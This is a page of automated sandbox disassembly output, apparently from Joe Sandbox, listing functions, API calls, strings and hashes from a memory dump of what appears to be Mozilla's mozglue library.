?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6B789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6B78CF

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: df43c189fb2575bf45509e53df294fa891792ee3766543de59c7504d5b50fbb5
Instruction ID: d3f0341d97344c7fab9b808fa05ab6429bc07e170ace8f1b0d0d35edb21e3181
Opcode Fuzzy Hash: df43c189fb2575bf45509e53df294fa891792ee3766543de59c7504d5b50fbb5
Instruction Fuzzy Hash: DC41AF719047469BD300DF29C48056AFBF4FFCA254F604A2DE4A987680DB70E569CBDA

Function 6C696470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6982BC,?,?), ref: 6C69649B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6964A9

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69653F
free.MOZGLUE(?), ref: 6C69655A

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction ID: 98cb846002616a141ddfcc5cd91472c026677bdcc18c31a34d08c92d525b97ac
Opcode Fuzzy Hash: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction Fuzzy Hash: 223161B5A04305AFD740CF15D88469AB7E4FF89314F00482EE85A97751DB34E919CBDA

Function 6C68FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?), ref: 6C68FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?), ref: 6C68FFF5
free.MOZGLUE(?,?,?,?,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?), ref: 6C69001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C6AD019,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?), ref: 6C69002A

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 6e5aa073797d7d876b8773fd94e27cf2afcdcd09d44f6c7b0746d2ffe094adce
Instruction ID: ab8644dd52d9a0ae1aaae7a340cb17cfe20e0a68e28e3f1cbf24ed06b9935492
Opcode Fuzzy Hash: 6e5aa073797d7d876b8773fd94e27cf2afcdcd09d44f6c7b0746d2ffe094adce
Instruction Fuzzy Hash: 5021D8B2B002155BC7189E789C944AFB7BAFB853287250738D525D7780EB719D0186EA

Function 6C66B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66B4F5
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B502
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B542
free.MOZGLUE(?), ref: 6C66B578

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction ID: f8c6926e3cb4d4af112b9870dfa7403b397d49b61d05b120268176a51f4f12c6
Opcode Fuzzy Hash: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction Fuzzy Hash: 85110330A04B41C7D321CF2AC8407A5B3B0FFDA319F14970AE84953E02EBB0B5C5879A

Function 6C693DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C65F20E,?), ref: 6C693DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C65F20E,00000000,?), ref: 6C693DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C693E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C693E0E

Part of subcall function 6C68CC00: GetCurrentProcess.KERNEL32(?,?,6C6531A7), ref: 6C68CC0D
Part of subcall function 6C68CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6531A7), ref: 6C68CC16

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction ID: 1eb75ff979cc5475eae7f49dcf4a0ee0aad8e9e8d9996727dab3d755bc266919
Opcode Fuzzy Hash: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction Fuzzy Hash: 9BF0F8B1A002087BDB00AB55EC81DAB376DEB87628F040021FE0957741D636BE6996FF

Function 6C6A2050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C6A201B,?,?,?,?,?,?,?,6C6A1F8F,?,?), ref: 6C6A2064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A208E
free.MOZGLUE(?,?,?,00000000,?,6C6A201B,?,?,?,?,?,?,?,6C6A1F8F,?,?), ref: 6C6A20A3

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6dd277b58cf9b5c3883181a97c6208a1d114288803089035bfc44cd5977b98ad
Instruction ID: 5e4494a2d2c5870ac6189d322e663b85b734a084fab5b540a58c97cfa2d0de3d
Opcode Fuzzy Hash: 6dd277b58cf9b5c3883181a97c6208a1d114288803089035bfc44cd5977b98ad
Instruction Fuzzy Hash: 1FF090B11006009BC7218F17D88875BB7F9EF8A364F10051AE54A87710CB71A8068B9E

Function 6C6A85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6A85D3

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C6A8725

Strings

map/set<T> too long, xrefs: 6C6A8720

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: a2a27303650dbd5e9a7fe60878a720a47f4d3f5136fab0440a28ca324daa6040
Instruction ID: 70b27cce337b19c255c6b91cde610e625e735871812691eeb71a8baf6980d39e
Opcode Fuzzy Hash: a2a27303650dbd5e9a7fe60878a720a47f4d3f5136fab0440a28ca324daa6040
Instruction Fuzzy Hash: FA515674A006818FE701CF58C184A59FBF1BF4A318F19C19AD8595BB62C375EC46CF96

Function 6C65BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C65BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C65BE8F

Strings

0, xrefs: 6C65BE5B

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction ID: 5aff77c52a83a249f610f6a40117f5f17253505299baa17352f2cf3b02d9aadf
Opcode Fuzzy Hash: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction Fuzzy Hash: 6F41B171A09745CFC301CF28C481A9BB7F4AFCA388F544B1DF985A7611D730E9698B8A

Function 6C693CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693D19
mozalloc_abort.MOZGLUE(?), ref: 6C693D6C

Strings

d, xrefs: 6C693D58

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction ID: ae81405fb39a1e9092750637fc88ed10a7b0fe2e72f912b9bd23e2162f856e3d
Opcode Fuzzy Hash: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction Fuzzy Hash: 8111C435E0468997DB008F6ACC644EDB7B5EF86318F458229DD4997622EB30A688C398

Function 6C664730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

Strings

GetNtLoaderAPI, xrefs: 6C664744

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 78dfa4fb716573518b43c0f1a020c6b746ea867a88cea7b9670a073a242487cd
Instruction ID: 595a1f3882f97951bc1bda5507ffae1b5ff0c44f644422ab8216b1f9724919fd
Opcode Fuzzy Hash: 78dfa4fb716573518b43c0f1a020c6b746ea867a88cea7b9670a073a242487cd
Instruction Fuzzy Hash: 9A0192757082148FDF00AFA7C4D4629BBB9EB8B321F05046AEA05C7700DB70E8018FDA

Function 6C6B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C6B6E22
__Init_thread_footer.LIBCMT ref: 6C6B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C6B6E1D

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction ID: bcd68a56edc4a956bdd073aa2d8006e056c651a881adc380280f84d7f154e701
Opcode Fuzzy Hash: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction Fuzzy Hash: 2DF02E302492C08BDB008B69C8A1A9173B29303318F080165F80196FA2CB31F627CFAF

Function 6C669E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C669EEF

Strings

NaN, xrefs: 6C669EC1
Infinity, xrefs: 6C669EB7

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 69064ab08258a321f268fc936855b8ae153423eff6b17a422022ef0b64cf6071
Instruction ID: c4194f2a258d45e7e49048328d94766e7d17b0c02063ac6c994417b112666e3a
Opcode Fuzzy Hash: 69064ab08258a321f268fc936855b8ae153423eff6b17a422022ef0b64cf6071
Instruction Fuzzy Hash: E1F06D71601641CBDB00CF5AD8C5B9033F1B74771DF250A19C9440AF81D7767646CA9F

Function 6C666C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C42

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C58

Strings

0Kil, xrefs: 6C666C33, 6C666C41, 6C666C57

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kil
API String ID: 1967447596-1570486273
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 47a2848e409718a8f1d8a2683fe2594ab049f9b896a105d641ef50186a662689
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: F4E086F1A10D455B9F08D97FAC0956A71C88B553AC7044A35E823C6FC8FAB4E550815F

Function 6C663850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C6DF860), ref: 6C66385C
ReleaseSRWLockExclusive.KERNEL32(6C6DF860,?), ref: 6C663871

Strings

,ml, xrefs: 6C66387A

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,ml
API String ID: 17069307-2011709430
Opcode ID: 0d0956604974530897a4ba8b7727f651a48ce739f5daf58c3049dd481df3611d
Instruction ID: 00fa472585672111d06e3571410fb36d97cae3e71abd384864b2b2c2593cfef1
Opcode Fuzzy Hash: 0d0956604974530897a4ba8b7727f651a48ce739f5daf58c3049dd481df3611d
Instruction Fuzzy Hash: 4EE0DF31A55A1897C7119F9794415CA7BB8EF4779070A8019F40A17E00C730F1808ACF

Function 6C66BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C66BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C66BEF5

Strings

cryptbase.dll, xrefs: 6C66BEF0

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 4870778a0ef8a45ee3d799cae793fcd5ec17f4a2edcaed08401fe318736b03b0
Instruction ID: 44563a522ee1324380eaf9a3347d73bdea828b5c897ecfb4e6088c6321dae0f1
Opcode Fuzzy Hash: 4870778a0ef8a45ee3d799cae793fcd5ec17f4a2edcaed08401fe318736b03b0
Instruction Fuzzy Hash: F7D0A731184209E6C7006B528C05B2937749782795F10C020F30544C52C7B0B413DF4D

Function 6C6AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB628

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C6AB127,?,?,?,?,?,?,?,?), ref: 6C6AB74D

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction ID: 085effcad87eddf0045659a872f45dad84b52f8dd6c581acd935d8d6010fba1a
Opcode Fuzzy Hash: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction Fuzzy Hash: 2251D071A0121A8FDB14CF98C98076EB7B1FF85308F55852DC85AAB710D771EC06CBA9

Function 6C6ADF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C69FF2A), ref: 6C6ADFFD

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C69FF2A), ref: 6C6AE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C69FF2A), ref: 6C6AE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C69FF2A), ref: 6C6AE0FE

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: cabe91f4908b1c6f856e5c9787874f3b5c8f45639306af4e38530e3ed047097a
Instruction ID: e21ff0582001f1c578717a04a0280a70c0edc5aa316f26e7165c00677b0be3f0
Opcode Fuzzy Hash: cabe91f4908b1c6f856e5c9787874f3b5c8f45639306af4e38530e3ed047097a
Instruction Fuzzy Hash: 9441C1B16042168FEB14CFA9C89075A73B2AF46308F14493DD516DB740E732ED26CBAA

Function 6C6A6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

